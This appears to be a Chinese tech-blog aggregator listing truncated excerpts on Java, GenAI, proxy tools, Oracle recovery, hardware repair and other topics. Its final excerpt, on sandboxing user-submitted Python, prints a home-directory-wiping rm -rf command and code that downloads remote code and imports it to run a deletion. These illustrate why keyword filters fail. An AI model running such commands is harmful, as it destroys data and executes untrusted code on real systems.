因为部分项目从Common Lisp转向了Clojure，所以逐步介入了Java的生态环境。近期也将Java从Java 8升级到Java 17，但是发现了一些变化，因此从网络上找了一些文章。随着技术的不断更新迭代，一些曾经被认为是“标准答案”的观点和方法，已经不再适应当前的需求，甚至被视为过时的做法。在新的JDK版本中，许多新的特性、工具和方法被引入，使得Java编程变得更加简洁、高效和强大。所以，是时候对“八股文”进行一次知识库的清理和更新了。More… ...继续阅读 (147)

在过去的一年时间里，国内外大中型公司都在探索、引入了 GenAI / AIGC（生成式 AI），并在 2024 年将持续探索更多的可能性。因此自 10 月起，我们（Thoughtworks）与不同公司的团队持续交流了如何规划 2024 的 AIGC，从在软件研发中应用到产品设计，再到一些新的趋势探索。 ...继续阅读 (185)

【摘要】随着.NET 8的发布的临近，国内的社区朋友们也很关心龙芯.NET 团队对于Loongarch .NET 8的发布时间，目前从龙芯.NET编译器团队的可靠信息，Loongarch .NET 8的发布会在2023年11月14日正式发布后也会发布，从龙芯2019年启动.NET的研发工作 ,2022年完成阅读全文 ...继续阅读 (163)

前言说起我真正使用落地的产品是从 22 年 11 月份开始，那时候 ChatGPT 刚发布灰度出来，面对这个对话框一样的界面，我发现这个简简单单甚至有些简陋的页面，竟然是技术变革的入口，看过大模型相关理论以及原理的同学，大家会发现，这个 AI 已经学习了我们近十年的信息，也就是说，他的知识储备已经高于我们在这个世界上的任何一个人，同一时间段，已经看到 V2EX 已经有人开始将高考试题让 GPT 去做了，当时的 GPT 可以考上一所不错的一本院校了，现在的 GPT4 我想应该是在全领域领先于各个行业了。不出意外，ChatGPT 在全球理所当然的火了起来，他带来的是一场技术的革命，他区别于元宇宙、VR 或者区块链，因为元宇宙、VR 技术的发展到现在，需要的是基础材料的突破，当时现在（23年10月）还没有让人振奋人心的消息传来，区块链延伸而来的比特币，成为了全球热爱博彩的圣地、也成为了进行洗钱的工具，对社会和全球的发展没有进步意义，同时又白白消耗了大量的电力资源。 GPT 是利用现有的计算机科学技术进行突破，商业化速度比预想的要快很多，微软的 Edge 浏览器率先融合进了 GPT，成为了第一款商业化的产品。工具从接触使用 GPT 开始，发现自己逐步离不开这个工具，从基本的文章润色到代码的讲解及优化建议、再到提需求做一个小的工具，他的回答都令我非常满意，目前在工作生活中，都在使用了大量的 ...继续阅读 (194)

最近因为 Clash for Windows 作者被请喝茶的缘故，Clash 从内核到各平台客户端的仓库大部分都删库或者归档了，这也不能怪开发者太过风声鹤唳，毕竟还身在国内，写开源而已，犯不上和自己的人身安全作对。之前我一直都是使用 Clash 作为主要的科学上网工具，不过经此一役后我也在考虑是否应该放弃 Clash，于是我仔细梳理了一下目前对科学上网的需求，最终决定将 Clash 切换成 Quantumult X。Clash 的缺点其实我很早就觉得 Clash 在 macOS 上使用有一些不便：如果想要修改订阅加上分流规则或者自定义的服务器，需要更改机场的配置文件，但是机场的订阅一般又会定时更新去覆盖掉；使用第三方的工具转化或者合并机场的订阅文件算是一个解决方案，但是机场一般出于隐私考虑都会禁止使用第三方工具转换订阅；本质上 Clash 只是一个代理工具，无法确保在电脑上运行的各个程序的流量都由代理转发——很多软件的网络设置是不经由系统代理的，尤其是在终端的应用：pnpm，go get，curl，brew，ssh，这在软件开发的时候其实还挺烦人的，还需要单独为每一个应用设置代理，不同应用的配置方式还不一样。Clash X Pro 提供的增强模式算是一个解决方案，不过同样也已经下架了。对于第一点，其实 Quantumult X 就做得很好，分流的规则以及机场的节点是分开配置的，而且 ...继续阅读 (155)

最近因为 Clash for Windows 作者被请喝茶的缘故，Clash 从内核到各平台客户端的仓库大部分都删库或者归档了，这也不能怪开发者太过风声鹤唳，毕竟还身在国内，写开源而已，犯不上和自己的人身安全作对。之前我一直都是使用 Clash 作为主要的科学上网工具，不过经此一役后我也在考虑是否应该放弃 Clash，于是我仔细梳理了一下目前对科学上网的需求，最终决定将 Clash 切换成 Quantumult X。Clash 的缺点其实我很早就觉得 Clash 在 macOS 上使用有一些不便：如果想要修改订阅加上分流规则或者自定义的服务器，需要更改机场的配置文件，但是机场的订阅一般又会定时更新去覆盖掉；使用第三方的工具转化或者合并机场的订阅文件算是一个解决方案，但是机场一般出于隐私考虑都会禁止使用第三方工具转换订阅；本质上 Clash 只是一个代理工具，无法确保在电脑上运行的各个程序的流量都由代理转发——很多软件的网络设置是不经由系统代理的，尤其是在终端的应用：pnpm，go get，curl，brew，ssh，这在软件开发的时候其实还挺烦人的，还需要单独为每一个应用设置代理，不同应用的配置方式还不一样。Clash X Pro 提供的增强模式算是一个解决方案，不过同样也已经下架了。对于第一点，其实 Quantumult X 就做得很好，分流的规则以及机场的节点是分开配置的，而且 ...继续阅读 (131)

外贸运营是一个需要英语能力的职业，但是如果英语不好，是否就意味着不能从事这个行业呢？本文章将围绕“英语不好能做外贸运营吗”、“英语不好做外贸运营专员”和“英语不好做独立站运营”三个关键词展开讨论，帮助大家解决这个问题。一、英语不好能做外贸运营吗对于这个问题，答案是肯定的。虽然外贸运营需要英语能力，但不代表英语不好就不能从事这个行业。首先，外贸运营的英语要求并不是特别高，只要掌握基本的英语交流能力就可以。其次，外贸运营工作并不仅仅是英语交流，还包括对产品和市场的了解、对供应链的管理等多方面的工作。因此，只要英语不是太糟糕，其他方面的能力也足够强，就完全可以胜任外贸运营的工作。二、英语不好做外贸运营专员外贸运营专员是外贸企业中非常重要的职位，需要对外贸市场有深入的了解，并能够与客户进行良好的沟通。虽然英语是外贸运营专员必备的能力之一，但是英语不好并不一定代表不能胜任这个职位。首先，外贸运营专员可以通过提高自己的英语水平来弥补不足。其次，外贸运营专员还可以通过与同事合作，互相补充不足的能力，共同完成工作。因此，英语不好并不是成为外贸运营专员的绝对障碍。三、英语不好做独立站运营独立站运营是一项需要多方面能力的工作，需要对产品、市场、SEO等方面有深入的了解。虽然英语不是独立站运营的必备能力，但是如果想要在国际市场上开展业务，英语还是非常重要的。如果英语不好，可以通过以下几种方式来解决：1. ...继续阅读 (181)

澳大利亚面积和人口面积：7692000 4/5 个中国 人口：2597.9 万人裂开，教育确实有滞后性为什么以色列能一下子动员30万人，但是俄罗斯动员速度很慢？为什么以色列能一下子动员30万人，但是俄罗斯动员速度很慢？在中国，刘德华周杰伦开一场演唱会8万人。一天之内打个车就能去的那种，散场的时候还能井然有序。三十万人也就是四倍不到，开四天演唱会就够了。你看现在以色列和加沙之间的战争烈度国际上关注得不得了的样子。所谓的铁穹防空导弹吹得多牛逼一样。实际上，也就是相当于中国的一个一线城市或者省会城市甚至只是经济强市，正面硬刚一个县级市的水平。以色列总共才955万人，加沙地带是205万人。而中国的北京市2184万人，上海市2475万人，重庆市3213万人，天津市1363万人，深圳市1766万人，广州1873万人，郑州市1282万人，成都市2126万人，武汉市1373万人，南京市949万人。还有西安市1316万人，杭州市1237万人，苏州市1291万人。石家庄市1122.4万人。中国2023年的大学毕业应届生是1158万人。。。巧了，我是福建省泉州市南安市人 。泉州市是888万，南安市152万人。人口和比例就算差不多了。接近以色列对加沙的人口比例。地形上也差不多。厦门市都有500万人，以色列再牛也就俩厦门市。就相当于我们泉州这个大市（地级市），按着自己的下属南安市（县级市）打的样子而已 。别 ...继续阅读 (149)

《长任务系统如何处理？》有时候我们会遇到一些长时间运行的任务，应该如何处理呢？可能你的第一回答是“使用异步任务”，没错，是需要使用异步任务，但没有那么简单。常见的异步任务框架，针对的场景，大部分可能都是1分钟以内的任务，例如很多框架都会为任务设置一个超时时间... ...继续阅读 (130)

文章 链接到标题 技术 链接到标题 Linux Installation Date: How to Discover Your System’s Age 如何查看 [[Linux]] 安装时间，通过获取 / 文件系统的 Birth time 来确定： $ stat / File: / Size: 188 Blocks: 0 IO Block: 4096 directory Device: 0,33 Inode: 256 Links: 1 Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2023-03-16 13:11:52.876212014 +0800 Modify: 2023-09-25 09:15:24.162426570 +0800 Change: 2023-09-25 09:15:24.162426570 +0800 Birth: 2023-03-16 13:11:52.876212014 +0800 $ stat / | awk '/Birth: /{print $2 " " substr($3,1,5)}' 2023-03-16 13:11 Gregory Szorc’s Digital Home | My User Experience Porting Off ...继续阅读 (195)

工厂模式在Calendar类中的应用Calendar类的工厂代码和功能代码在一个类中。Calender.getInstance()的方法实现。是一个工厂模式，根据传入的时区和locale决定使用不同的历法。publicabstractclassCalendarimplementsSerializable, Cloneable, Comparable{//...publicstaticCalendargetInstance(TimeZone zone, Locale aLocale){returncreateCalendar(zone, aLocale);}privatestaticCalendarcreateCalendar(TimeZone zone,Locale aLocale) {CalendarProvider provider=LocaleProviderAdapter.getAdapter(CalendarProvider.class, aLocale).getCalendarProvider();if(provider!=null) {try{returnprovider.getInstance(zone, aLocale);}catch(IllegalArgumentException iae) {// fall back to the default instan ...继续阅读 (38)

今年的双十一还是基本什么都没买，一方面可能是因为确实没什么优惠，另一方面也是自己确确实实没有什么很需要的购物需求。 —— By@YeungYeah周刊内容来源于Memos 广场和林木木和他的朋友们电报频道，RSS 订阅地址为：Weekly Feed封面Macbook Air M2 2022 （via@大发）博客推荐：「大发贱志 https://fatesinger.com/」主题：吃土了啥？米家充气宝2（¥168）、鹿为 Mac mini 立式拓展坞（¥199）、云南国产咖啡豆、一些纸质书……没了？是的，就这几样。各位呢？吃土着361 国际线 Spire S2.5减震比之前的多威好很多。 多威征途2就此淘汰。 （via@落落vici）迪卡侬 AF105太败家了，自行车提回来才一个月，现在就换了一个型号迪卡侬 AF105。也不知道当时为什么有这个想法，可能越是得不到的就越想要，哎，男人呀，吃土去～走着村里周末出去拍的照片，捕捉到精彩瞬间好快乐噢。 （via@Nicole）枯水期的赣江每年的秋季和冬季都是赣江枯水期，江中的河床直接裸露出来，走在河床上，可以看到两岸的江景，可以看到肃穆的滕王阁，还能看到红谷滩区的双子塔，还有八一大桥，更有远处的南昌之星摩天轮。 （via@单车少年）雨后夕阳20231105晚，雨后夕阳忽现。 （via@wxie）记着1.老人一方面老龄化严重要延迟退休，一方 ...继续阅读 (162)

Erlang的Mnesia是一款Key Value数据库，但是我们很多时候习惯使用SQL进行查询，本文介绍如何在Mnesia上实现类似SQL的查询方法。More… ...继续阅读 (146)

介绍常见的I/O，根据操作的阻塞或非阻塞类型，以及IO的准备就绪、完成事件通知的同步和异步类型，一共有四种不同方式的IO。同时介绍IO常见的设计模式More… ...继续阅读 (152)

Sharmir‘s Secret Share 算法是一种加密算法，在不受信任的网络中可以使用它来安全地分发私密信息。无密钥安全技术（生物识别数据、私钥等）使用 Sharmir‘s Secret Share 算法来确保个人数据的安&#x ...继续阅读 (122)

【摘要】TIOBE 公布了 2023 年 11 月的编程语言排行榜。 虽然这期重点介绍的是Kotlin，本月，它的排名上升了 0.17%，从第 18 位上升到第 15 位，前进了 3 位。 TIOBE的10月份榜单，C# 和 Java 之间的差距越来越小，达到了历史新低，10月份两者的差距仅为 1.2%。阅读全文 ...继续阅读 (180)

进入 MinGW 下载页面，下载最新版本的 MinGW 安装程序，然后 修改环境变量 把 c:\MinGw\bin目录 加到path变量里。在cmd中输入命令 mingw-get install gcc,等待一会，gcc 就安装成功了。为了在 Windows 上安装 GCC，需要到MinGW 的主页。gcc Game.c -o Game 命令行执行。然后我们就提问好了：让他用c语言写一个冒泡排序程序。会看到生成 Game.exe，执行 Game。把AI生成的程序 保存到 Game.c里。 ...继续阅读 (140)

上学的时候就有老师强调，上课要做笔记，看书要做笔记。读初一的第一个学期，英语老师给我们提了一个要求，自备一个笔记本，用于记录她上课讲到的语法知识。之后的每节英语课，黑板上或者 PPT 里出现了语法知识、单词知识，都会第一时间用笔记录下来，这是我对记笔记的第一个记忆。2021年1月24日，我用flomo记录了第一条笔记，也是我第一次接触笔记应用。至于通过什么渠道了解到 flomo，我就没多少印象了。近三年后的今天，阅读 flomo 创始人少楠和 light 写的《笔记的方法》，一直以为记笔记就是想记什么记什么，想怎么记就怎么记，但看完这本书之后发现，记笔记也有门道，学会这些门道，能少走很多弯路。笔记的方法前两年也有一本关于笔记的书很受欢迎——《卡片笔记写作法》，作者是申克·阿伦斯。它给我的感觉是比较晦涩，不管是翻译质量还是语言风格，很难理解和应用书中提到的卡片笔记写作法。而《笔记的方法》却是截然不同，最大的特点是深入浅出，理论与实践相结合，阅读的同时仿佛自己在教室里听课，老师在讲台上分享记笔记的心得，并且给出具体的案例供参考。整本书分为四个部分，读完之后按照自己的理解，我认为主要介绍了三方面的内容，为什么要记笔记、记什么笔记、如何有效地记笔记。为什么要记笔记记笔记不是收集信息，而是希望未来遇到问题时，这些知识能帮上忙，即“增援未来的自己”。比如我的专业是人力资源管理，记录一条关于绩效 ...继续阅读 (140)

联系：手机/微信(+86 17813235971) QQ(107644445)标题：存储断电导致ORA-00325故障恢复作者：惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]由于存储断电,数据库启动最初报错Reconfiguration complete parallel recovery started with 32 processes Started redo scan Completed redo scan read 22887 KB redo, 2025 data blocks need recovery Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl11/trace/orcl11_ora_25449.trc (incident=25522): ORA-00600: internal error code, arguments: [kcratr_nab_less_than_odr], [1], [203596], [1537], [3046], [] Incident details in: /u01/app/oracle/diag/rdbms/orcl/orcl11/incident/incdir_25522/orcl11_ora_25449_i25522.trc ...继续阅读 (165)

联系：手机/微信(+86 17813235971) QQ(107644445)标题：存储断电导致ORA-00325故障恢复作者：惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]由于存储断电,数据库启动最初报错Reconfiguration complete parallel recovery started with 32 processes Started redo scan Completed redo scan read 22887 KB redo, 2025 data blocks need recovery Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl11/trace/orcl11_ora_25449.trc (incident=25522): ORA-00600: internal error code, arguments: [kcratr_nab_less_than_odr], [1], [203596], [1537], [3046], [] Incident details in: /u01/app/oracle/diag/rdbms/orcl/orcl11/incident/incdir_25522/orcl11_ora_25449_i25522.trc ...继续阅读 (167)

联系：手机/微信(+86 17813235971) QQ(107644445)标题：存储断电导致ORA-00325故障恢复作者：惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]由于存储断电,数据库启动最初报错Reconfiguration complete parallel recovery started with 32 processes Started redo scan Completed redo scan read 22887 KB redo, 2025 data blocks need recovery Errors in file /u01/app/oracle/diag/rdbms/orcl/orcl11/trace/orcl11_ora_25449.trc (incident=25522): ORA-00600: internal error code, arguments: [kcratr_nab_less_than_odr], [1], [203596], [1537], [3046], [] Incident details in: /u01/app/oracle/diag/rdbms/orcl/orcl11/incident/incdir_25522/orcl11_ora_25449_i25522.trc ...继续阅读 (136)

前两天看到网上评测 macOS 新出的正式版系统 Sonoma 带来的新特性非常惊艳，经不住诱惑就升级了系统。完成升级后还没体会到新系统带来的震撼，一进桌面就发现之前好好的蓝牙鼠标，一下变的不好用了。 ...继续阅读 (144)

最近同事的鼠标接二连三的出现了问题，一个是罗技M330鼠标，用了一年点击不好使了，另一个是雷蛇的RZ01-0254两年的微动单击变双击了。本着能修就坚决不买的原则，低成本的解决问题。more罗技M330鼠标其实质量还是可以的，拆解也是很方便，就是把电池仓的标签撕下就能看到螺丝了。同事说刚过了保修就有问题，一开始我还以为是微动的问题，拆开验证了下微动，发现并没有点击不好使的问题，排除了微动问题，看了下鼠标按键背面有点轻微的磨损，用热熔胶枪在鼠标按键背面点了一层薄薄的软胶，装上再测试一下，问题解决。雷蛇鼠标，单击变双击，那就是微动的问题了，RZ01-0254螺丝在两个脚垫和标签下面，撕开就可以拆螺丝了，拆开之后还有三个螺丝需要拆掉才能拿下主板：雷蛇用的是欧姆龙D2FC-F-7N(10M)微动，淘宝上面好像价格在一块钱左右，这次换的微动是欧姆龙D2FC-F-7N(50M)，价格大约在5元，寿命会比10M的长一些。拆微动也是一件麻烦的事，不过也是有点小技巧的，微动有两个小孔，找个镊子插到小孔里面，然后稍微压着镊子拿电烙铁去融化锡，这样一个人就能轻松的把微动去掉。焊接就很简单了，基本上点一点锡就可以了，我这里有一个点焊的有点多了，不过影响不大，就没有再修整了。装回去在测试下看看，一切正常，又可以用一段时间了。换这东西，其实没有大家想的那么麻烦，稍微心细一点就可以了。 ...继续阅读 (300)

Adobe Experience Manager (AEM)是什么？Adobe Experience Manager (AEM) 本身并不直接用于搭建广告，而是一个内容管理系统（CMS）和数字资产管理（DAM）工具，用于创建和管理网站、移动应用和其他数字体验。它允许企业管理其内容和资产，并通过各种渠道将这些内容提供给用户，但它不是一个专门的广告创建或广告投放平台。如果您想要在AEM环境中创建和管理与广告相关的内容，以下是一些步骤和要点：内容创建和管理：在AEM中，您可以创建和管理用于广告的内容，如图像、视频、文本和其他多媒体元素。利用AEM的强大CMS功能，您可以制作高质量、品牌一致的内容，然后在不同的数字渠道上发布这些内容。资产管理：使用AEM的数字资产管理系统来组织和存储广告相关的资产，如广告创意、品牌资产等。AEM DAM允许轻松访问和共享这些资源，确保广告创意的一致性和高效的协作。个性化和定位：利用AEM的个性化工具来定制广告内容，以更好地吸引目标受众。可以基于用户的行为、历史数据和偏好来调整广告内容，确保相关性和吸引力。多渠道发布：通过AEM，您可以在不同的平台和设备上发布广告内容，包括网站、移动应用和社交媒体。数据分析：使用AEM的分析工具来追踪用户对广告内容的反应，从而优化未来的广告策略。虽然AEM可以帮助您管理和优化广告相关的内容，但实际的广告投放通常是通过专门的广 ...继续阅读 (173)

I am planning to setup by blogging environment on my Windows PC.OS: Windows 10Shell: Bash on WSL1Program:pelicanon Miniconda3 with Python 3.11My objective today is get rid of thestatic/js/core.jsfromaether-pelicantheme and replace it witha simple CSS, and it turns out quite challenging.WSL1 and file systemAs it turns out, the installed Ubuntu root filesystem on WSL1 is located here:%localappdata%\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfsI plan to move my home dir (at least) to another SSD on my PC, as theC:\drive is an old SanDisk Plus240, which is unforgiv ...继续阅读 (167)

LNMP一键安装包 v2.1测试版主要增加支持PHP 8.3、对fail2ban安装脚本进行重写、增加优化部分发行版新版本下的支持、修正部分显示错误等。安装前建议使用screen，执行：screen -S lnmp后，执行：wget http://soft.lnmp.com/lnmp/lnmp2.1beta.tar.gz -O lnmp2.1beta.tar.gz && tar zxf lnmp2.1beta.tar.gz && cd lnmp2.1 && ./install.sh lnmp请注意最后面的lnmp参数，如需要lnmpa 或 lamp 模式，请替换lnmp为你要安装的模式。moreLNMP一键安装包是一个用Linux Shell编写的可以为CentOS/RHEL/Fedora/Debian/Ubuntu/Raspbian/Deepin/Aliyun/Amazon/Mint Linux VPS或独立主机安装LNMP(Nginx/MySQL/PHP)、LNMPA(Nginx/MySQL/PHP/Apache)、LAMP(Apache/MySQL/PHP)生产环境的Shell程序。支持自定义Nginx、PHP编译参数及网站和数据库目录、支持生成LetseEcrypt证书、LNMP模式支持多PHP版本、支持单独安装Nginx/MySQL/MariaDB/Pureftpd服务器 ...继续阅读 (134)

最近海关总署公布了前10个月进出口数据。就外贸人关心的出口部分，我们来解读一下。10月份我国出口同比下滑6.4%，这个数据跟9月的下滑6.2%，相差不大。我们来看一下出口下滑的主要原因。东盟、欧盟、美国、日本分别是中国的前四大贸易伙伴。相比9月，对东盟、欧盟、日本、韩国的出口均有减缓，主要还是受大环境影响，美元加息、俄乌战争、能源危机、通货膨胀等导致的全球主要经济体均需求不振，说明真的是“地主家也没多少余粮了“。外需不振是影响出口的最主要原因。美国虽已下降为我国第三大贸易伙伴，但本月对美国的出口保持相对稳定，可能受到近期中美关系缓和的影响。那我们关心的民营企业出口如何呢？相对于国有企业和外资企业，前10个月出口数据中，民营企业增长5.6%，是拉动出口的主力军，对来看来，国企出口基本没有增长、外资企业则出现明显下降。预计到今年年底，中国外贸出口单月增长率将由负转正，而其中主要影响因素还是日趋改善的中美关系。近期，外交部长王毅访问华盛顿，再加上之前的几次高层会晤，近期中美高层外交互动明显增加。美国将原定于9月30日到期的、对352种中国进口商品的关税豁免，延长到今年年底。中美之间的直飞定期客运航班数量也从每周48班增加到了70班。而两国元首即将在近期的APEC峰会上会晤，也将会进一步促进中美关系的稳定和改善。美国作为全球最大的经济体，市场潜力巨大，无论是消费品、高科技产品还是服务行业， ...继续阅读 (155)

【摘要】北京时间 11月15-17日，.NET Conf 2023 即将到来！大会上将发布.NET 8, 以今为止运行最快的.NET 平台， .NET Conf 始终致力于为所有与会者创造世界级的、引人入胜的虚拟体验，无论他们身在何处。今年将是 .NET Conf 第13次在线会议。在这三天的时间里，.NE阅读全文 ...继续阅读 (174)

前两天的OpenAI发布会，相信很多同学看完以后都热血沸腾。我之前一直使用的是ChatGPT的免费版本，看完这个发布会以后，立刻就充值了ChatGPT Plus，来试一试这些高级功能。这两天GPTs功能上线了，短短三天时间，全球网友创建了几千个GPT机器人。我今天也来搞一个玩玩。使用GPTs创建机器人非常简单，不需要懂任何编程知识，甚至不需要懂Prompt工程，你只需要跟着他的向导，一步一步描述你的想法就可以了。当我们成为了ChatGPT Plus会员以后，在ChatGPT页面会看到一个Explore的栏目，如下图所示。进入这个栏目，点击Create a GPT就可以开始创建自己的机器人了。在左侧，是机器人创建向导，它会首先让你描述一下，你想实现什么功能。这个地方不需要懂Prompt工程，你只需要像平时说话一样写出自己的需求就可以了。写中文或者英文都可以。如下图所示。描述完成需求以后，他会给你建议一个机器人的名字，你要是觉得他取的名字不好，你也可以自己想一个，直接输入到对话框中。设置完成名字以后，他会自动给机器人生成头像。头像生成完成以后，会针对需求的一些细节问题跟你进一步确认，例如“当老板的需求明显不合理时，你应该直白拒绝还是委婉提出”。你只需要一步一步跟着他的问题进行回复就可以了。我这个机器人创建完成，全程耗时大概10分钟左右。创建完成以后，点击右上角的“Save”就可以保存。 ...继续阅读 (154)

写后端的同学，有时候需要在网站上实现一个功能，让用户上传或者编写自己的Python代码。后端再运行这些代码。涉及到用户自己上传代码，我们第一个想到的问题，就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行，在不做任何安全过滤的情况下，就会导致服务器的Home文件夹被清空。12import osos.system('rm -rf ~/*')有人想的比较简单，直接判断用户的代码里面有没有os.system、exec、subprocess……这些危险关键词不就可以了吗？这种想法乍看起来没有问题，但细想下，就会发现非常天真。如果用户的代码像下面这样写，你又要如何应对？123456789importrequestscode = requests.get('https://www.kingname.info/dangerous_code').textwithopen('dangerous_code.py','w')asf:f.write(code)dangerous_module =__import__('dangerous_code')danderous_module.delete_all()其中https://www.kingname.info/dangerous_code对应的 ...继续阅读 (149)